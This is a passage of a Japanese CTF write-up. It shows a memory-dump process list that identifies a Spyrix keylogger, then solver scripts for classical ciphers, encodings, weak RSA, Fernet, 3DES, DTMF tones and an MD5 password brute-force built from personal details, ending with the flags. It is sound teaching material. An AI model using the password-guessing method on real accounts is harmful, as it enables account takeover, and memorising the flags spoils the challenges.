Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
wininit.exe pid:    416
Command line : wininit.exe
************************************************************************
csrss.exe pid:    428
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
winlogon.exe pid:    484
Command line : winlogon.exe
************************************************************************
services.exe pid:    520
Command line : C:\Windows\system32\services.exe
************************************************************************
lsass.exe pid:    528
Command line : C:\Windows\system32\lsass.exe
************************************************************************
lsm.exe pid:    536
Command line : C:\Windows\system32\lsm.exe
************************************************************************
svchost.exe pid:    648
Command line : C:\Windows\system32\svchost.exe -k DcomLaunch
************************************************************************
svchost.exe pid:    712
Command line : C:\Windows\system32\svchost.exe -k RPCSS
************************************************************************
svchost.exe pid:    764
Command line : C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
************************************************************************
svchost.exe pid:    856
Command line : C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
************************************************************************
svchost.exe pid:    884
Command line : C:\Windows\system32\svchost.exe -k netsvcs
************************************************************************
audiodg.exe pid:    984
Command line : C:\Windows\system32\AUDIODG.EXE 0x2c4
************************************************************************
svchost.exe pid:    304
Command line : C:\Windows\system32\svchost.exe -k LocalService
************************************************************************
svchost.exe pid:    408
Command line : C:\Windows\system32\svchost.exe -k NetworkService
************************************************************************
spoolsv.exe pid:   1036
Command line : C:\Windows\System32\spoolsv.exe
************************************************************************
svchost.exe pid:   1068
Command line : C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
************************************************************************
VGAuthService. pid:   1236
Command line : "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"
************************************************************************
vmtoolsd.exe pid:   1268
Command line : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"
************************************************************************
svchost.exe pid:   1516
Command line : C:\Windows\system32\svchost.exe -k bthsvcs
************************************************************************
WmiPrvSE.exe pid:   1720
Command line : C:\Windows\system32\wbem\wmiprvse.exe
************************************************************************
dllhost.exe pid:   1776
Command line : C:\Windows\system32\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}
************************************************************************
msdtc.exe pid:   1864
Command line : C:\Windows\System32\msdtc.exe
************************************************************************
taskhost.exe pid:    676
Command line : "taskhost.exe"
************************************************************************
sppsvc.exe pid:   1920
Command line : C:\Windows\system32\sppsvc.exe
************************************************************************
GoogleCrashHan pid:   2180
************************************************************************
GoogleCrashHan pid:   2188
Command line : "C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleCrashHandler64.exe"
************************************************************************
WmiPrvSE.exe pid:   2252
Command line : C:\Windows\system32\wbem\wmiprvse.exe
************************************************************************
dwm.exe pid:   2512
Command line : "C:\Windows\system32\Dwm.exe"
************************************************************************
explorer.exe pid:   2536
Command line : C:\Windows\Explorer.EXE
************************************************************************
vm3dservice.ex pid:   2620
Command line : "C:\Windows\System32\vm3dservice.exe" -u
************************************************************************
vmtoolsd.exe pid:   2636
Command line : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
************************************************************************
sidebar.exe pid:   2644
Command line : "C:\Program Files\Windows Sidebar\sidebar.exe" /autoRun
************************************************************************
SearchIndexer. pid:   2892
Command line : C:\Windows\system32\SearchIndexer.exe /Embedding
************************************************************************
svchost.exe pid:   1392
Command line : C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
************************************************************************
svchost.exe pid:    920
Command line : C:\Windows\System32\svchost.exe -k secsvcs
************************************************************************
WmiApSrv.exe pid:   1656
Command line : C:\Windows\system32\wbem\WmiApSrv.exe
************************************************************************
notepad.exe pid:   1472
Command line : "C:\Windows\system32\notepad.exe" 
************************************************************************
spkl.exe pid:   1800
Command line : "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe" 
************************************************************************
dllhost.exe pid:   1512
Command line : C:\Windows\system32\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}
************************************************************************
spmm.exe pid:   2940
Command line : "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe" "Spyrix Free Keylogger 11.5.21"★
************************************************************************
wmplayer.exe pid:   2312
Command line : "C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
************************************************************************
Sonic Visualis pid:   3032
Command line : "C:\Program Files\Sonic Visualiser\Sonic Visualiser.exe" 
************************************************************************
cmd.exe pid:   1396
Command line : "C:\Windows\system32\cmd.exe" 
************************************************************************
conhost.exe pid:   2588
Command line : \??\C:\Windows\system32\conhost.exe
************************************************************************
taskmgr.exe pid:   2296
Command line : "C:\Windows\system32\taskmgr.exe" 
************************************************************************
SearchProtocol pid:    928
Command line : "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe2_ Global\UsGthrCtrlFltPipeMssGthrPipe2 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" 
************************************************************************
SearchFilterHo pid:    748
Command line : "C:\Windows\system32\SearchFilterHost.exe" 0 516 520 528 65536 524 
************************************************************************
cmd.exe pid:   3004
************************************************************************
conhost.exe pid:   2680
************************************************************************
ipconfig.exe pid:   2556

キーロガーが動いている。

noob{spmm.exe}

Gross (Crypto 120)

暗号文のアルファベットのインデックスとして、順に1~5引くことをを繰り返せば復号できる。

from string import uppercase

ct = 'OQWKWPUVMYTIUSSTHHPI'
key = [1, 2, 3, 4, 5]

pt = ''
for i in range(len(ct)):
    index = uppercase.index(ct[i])
    index -= key[i%len(key)]
    pt += uppercase[index]

flag = 'noob{%s}' % pt
print flag
noob{NOTGROSSITSGRONSFELD}

WhatThe# (Crypto 150)

brainfuckだと思うが、おそらく文字が入れ替え変わっている。

- → +
] → [
< → >
> → <
[ → ]
+ → -
, → .

対となりそうな文字を反対にしてみる。

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++.+..-------------.+++++++++++++++++++++++++.<++++++++.<++++++++++++++++++.>>-------.<+++++++++++++++++.<++++.>>--------.+++++++++++.<<.>>++.<<+.>.+++.>-------.<<-.---.>>----.+++++++++++++++.

https://sange.fi/esoteric/brainfuck/impl/interp/i.htmlで実行する。

noob{N0t_4lw4y5_br41n}

BASEd (Crypto 150)

base85デコードの後、base58デコードを実行する。

#!/usr/bin/env python3
import base64
import base58

enc = '1c@^(9l;sa2c3Ln20_Mf<&&Vs<r'
flag = base58.b58decode(base64.a85decode(enc))
print(flag)
noob{base58_85}

Aar_Ess_Ae 2.0 (Crypto 200)

nをFermat法で素因数分解する。あとはそのまま復号する。

from Crypto.Util.number import *

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

n = 1209143407476550975641959824312993703149920344437422193042293131572745298662696284279928622412441255652391493241414170537319784298367821654726781089600780498369402167443363862621886943970468819656731959468058528787895569936536904387979815183897568006750131879851263753496120098205966442010445601534305483783759226510120860633770814540166419495817666312474484061885435295870436055727722073738662516644186716532891328742452198364825809508602208516407566578212780807
e = 65537
c = 479864533376761605695501447173868480555428955121197237667644363164782871896916177280454277070395501072881821206028710238061428135752902868021510351013602427444705377461961807606024656743172785917677779391848195684330103645049456693618142623342949445393135435605296850775153054696353591431012573391751673267024658145416936335505273041995697052197680305689264142043959382559774510439925577487721780439642813074520685265074584526487330950173513520723457640547997316 

p, q = fermat(n)

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
noob{Primes_Can_B3_Saxy_T00}

Whatever It Takes!! (Crypto 200)

ASCIIコードを文字にしていく。gAAAAで始まっているので、Fernet暗号と推測。keyはurlsafeのbase64文字列である必要がある。rot47にすると、base64文字列になる。

e1o6A1qXqFvaG77XpHZTxOcnepxXYIJlGj0GqpLXltQ=

それからデコードしながら、対応する方式で次のデコードをする。

Fernet暗号の復号→base64デコード→ASCIIコードデコード
from cryptography.fernet import Fernet

codes = '67 41 41 41 41 41 42 65 30 6c 79 75 31 6b 7a 4a 78 49 67 48 69 4d 65 67 38 6e 6a 4f 5a 6d 5f 38 48 32 6f 4a 5a 74 4d 4f 52 2d 62 68 70 2d 6f 7a 7a 6e 43 46 6b 6b 59 35 48 33 6c 39 42 47 31 64 4b 68 37 6b 70 66 5f 4f 4b 61 48 52 4a 6b 57 54 70 7a 62 5a 75 4f 75 6f 71 35 36 2d 52 66 45 68 36 41 45 46 75 4d 4f 59 6e 36 65 67 55 59 64 51 6a 61 37 6b 78 79 6d 67 59 32 38 36 62 49 48 72 45 45 41 6b 62 65 47 4a 78 75 67 4f 73 44 66 46 4d 2d 72 63 37 7a 62 61 35 61 69 4e 61 45 5a 45 78 69 57 72 50 57 30 4a 57 38 48 53 66 49 54 54 4d 54 72 54 6a 38 36 57 65 71 66 68 53 48 58 6b 32 48 78 71 53 4c 34 4f 35 33 63 71 58 52 65 76 34 4f 38 75 7a 44 6a 78 66 70 50 33 4b 44 42 78 5f 37 4a 74 58 61 73 53 79 4a 46 36 56 45 4f 4a 54 52 77 49 7a 64 45 75 56 7a 65 70 41 4c 44 5f 53 76 4c 72 63 5f 65 43 50 30 77 51 4b 47 71 50 63 41 6f 38 6f 71 78 73 34 74 6e 4c 52 48 35 74 6e 71 4c 73 64 47 6f 74 37 4e 46 58 6d 37 35 45 6e 78 42 7a 6c 38 42 62 37 77 59 61 41 6e 54 7a 53 59 56 64 47 51 53 59 79 4f 43 64 44 53 37 72 4d 75 4a 34 6f 33 63 72 49 49 5a 31 48 30 4a 62 61 31 6c 6f 75 5f 52 46 6e 63 74 31 64 63 47 37 65 5f 4a 6e 6a 54 35 6e 68 5a 5a 64 61 30 41 72 42 7a 6e 39 30 45 61 72 32 6d 7a 61'
codes = codes.split(' ')

key = 'e1o6A1qXqFvaG77XpHZTxOcnepxXYIJlGj0GqpLXltQ='

ct = ''
for code in codes:
    ct += chr(int(code, 16))
print ct

f = Fernet(key)
b64 = f.decrypt(ct)
print b64

codes = b64.decode('base64')
print codes

codes = codes.split(';')[:-1]
flag = ''
for code in codes:
    flag += chr(int(code[2:]))
print flag

実行結果は以下の通り。

gAAAAABe0lyu1kzJxIgHiMeg8njOZm_8H2oJZtMOR-bhp-ozznCFkkY5H3l9BG1dKh7kpf_OKaHRJkWTpzbZuOuoq56-RfEh6AEFuMOYn6egUYdQja7kxymgY286bIHrEEAkbeGJxugOsDfFM-rc7zba5aiNaEZExiWrPW0JW8HSfITTMTrTj86WeqfhSHXk2HxqSL4O53cqXRev4O8uzDjxfpP3KDBx_7JtXasSyJF6VEOJTRwIzdEuVzepALD_SvLrc_eCP0wQKGqPcAo8oqxs4tnLRH5tnqLsdGot7NFXm75EnxBzl8Bb7wYaAnTzSYVdGQSYyOCdDS7rMuJ4o3crIIZ1H0Jba1lou_RFnct1dcG7e_JnjT5nhZZda0ArBzn90Ear2mza
JiMxMTA7JiMxMTE7JiMxMTE7JiM5ODsmIzEyMzsmIzEwMjsmIzEwMTsmIzExNDsmIzExMDsmIzUxOyYjMTE2OyYjOTU7JiM5ODsmIzk3OyYjOTg7JiM1MTsmIzk1OyYjMTIxOyYjMTExOyYjMTE3OyYjOTU7JiM5NzsmIzExNDsmIzUxOyYjOTU7JiMxMDg7JiM1MTsmIzUxOyYjMTE2OyYjMTI1Ow==
noob{fern3t_bab3_you_ar3_l33t}
noob{fern3t_bab3_you_ar3_l33t}

CrackMeh (Crypto 250)

$ cat diary.txt
_________________________
|			|
|			|	
|			|
|	  Alice		|
|	 January	|
|	  1994		|
|      	  USA		|
|	   25		|
|       Security	|
|			|
|			|
|_______________________|

diary.txtにある言葉を組み合わせてパスワードにしていると推測できる。順列を総当たりにして、目的のハッシュになるものを探す。

import itertools
import hashlib

words = ['Alice', 'January', '1994', 'USA', '25', 'Security']

h = '4ee805f9397a1d584ef9be9d2a4f8f20'

found = False
for i in range(1, 6):
    for c in itertools.permutations(words, i):
        password = ''.join(c)
        if hashlib.md5(password).hexdigest() == h:
            found = True
            flag = 'noob{%s}' % password
            print flag
            break
    if found:
        break
noob{AliceSecurity1994}

Frequency (Crypto 250)

https://www.chegg.com/homework-help/questions-and-answers/frequency-1209-hz-1336-hz-1477-hz-1633-hz-697-hz-1-2-3-770-hz-4-5-6-b-852-hz-7-8-9-c-941-h-q25251912を参考に番号を割り当てる。

1209-770 4
1209-770 4
1477-697 3
1477-697 3
1336-770 5
1336-770 5
1336-770 5
1336-770 5
1336-770 5
1336-770 5
1477-770 6
1477-770 6
1477-770 6
1477-697 3
1336-852 8
1477-770 6
1477-697 3
1477-697 3
1477-697 3

この番号をガラケーキーパッドの打鍵として文字にする。

HELLODTMF
noob{HELLODTMF}

Advance encryption? (Crypto 350)

nを素因数分解する。

$ python -m primefac 5213936838598025476406773600757883525776134995009803681465641880888029093835800233953718894138597565310162127551788614597742425271834718964513945747581899300290605379743433295672314493845697189625161255657818148643700724061436274982882278021569106212730254013026777063397622073627010492938330136855886111795773721
5213936838598025476406773600757883525776134995009803681465641880888029093835800233953718894138597565310162127551788614597742425271834718964513945747581899300290605379743433295672314493845697189625161255657818148643700724061436274982882278021569106212730254013026777063397622073627010492938330136855886111795773721: 37811 137894708910053303969923397973020642822885800296469378790977278593214384539837619580379225467154996305576740301811341001236212352803012852463937630519740268712559979364296984889908082141326523753012648585274606560093642698194606727748070085995321631608004390601327049361234087266324892040367357035145489719811
n = 37811 * 137894708910053303969923397973020642822885800296469378790977278593214384539837619580379225467154996305576740301811341001236212352803012852463937630519740268712559979364296984889908082141326523753012648585274606560093642698194606727748070085995321631608004390601327049361234087266324892040367357035145489719811

あとはそのまま復号する。

7A392A1577F7921D840A5DD8BC5C2C184DE17387E68D6168,b15bfdaa5c0e3a1ae9d2b435cdee81eba9e037d99bae6fb7f79bb00a6e1903fb

フラグにならなかったが、DESより強く、AESより弱い暗号の話をしていたので、,の前が鍵で、後ろが暗号文として3DESで復号する。

from Crypto.Util.number import *
from Crypto.Cipher import DES3

def unpad(s):
    return s[:-ord(s[-1])]

N = 5213936838598025476406773600757883525776134995009803681465641880888029093835800233953718894138597565310162127551788614597742425271834718964513945747581899300290605379743433295672314493845697189625161255657818148643700724061436274982882278021569106212730254013026777063397622073627010492938330136855886111795773721
e = 65537
ct = 1318662676012529027719356593897795240255894626324734057679095070946627050031960058953695686381615923039181791966536008755483122090144422057413223859758218760258478899092958126133112186690655374761969096836593572888239450083333192693873889204362146378414307476977579570911929579923802717779725077182959279149667910
p = 37811
q = 137894708910053303969923397973020642822885800296469378790977278593214384539837619580379225467154996305576740301811341001236212352803012852463937630519740268712559979364296984889908082141326523753012648585274606560093642698194606727748070085995321631608004390601327049361234087266324892040367357035145489719811

phi = (p - 1)* (q - 1)
d = inverse(e, phi)
m = pow(ct, d, N)
pt = long_to_bytes(m)
print pt

key = pt.split(',')[0].decode('hex')
enc = pt.split(',')[1].decode('hex')
cipher = DES3.new(key, DES3.MODE_ECB)
flag = unpad(cipher.decrypt(enc))
print flag

実行結果は以下の通り。

7A392A1577F7921D840A5DD8BC5C2C184DE17387E68D6168,b15bfdaa5c0e3a1ae9d2b435cdee81eba9e037d99bae6fb7f79bb00a6e1903fb
noob{3des_1s_a_g00d_encrYpt1oN}
noob{3des_1s_a_g00d_encrYpt1oN}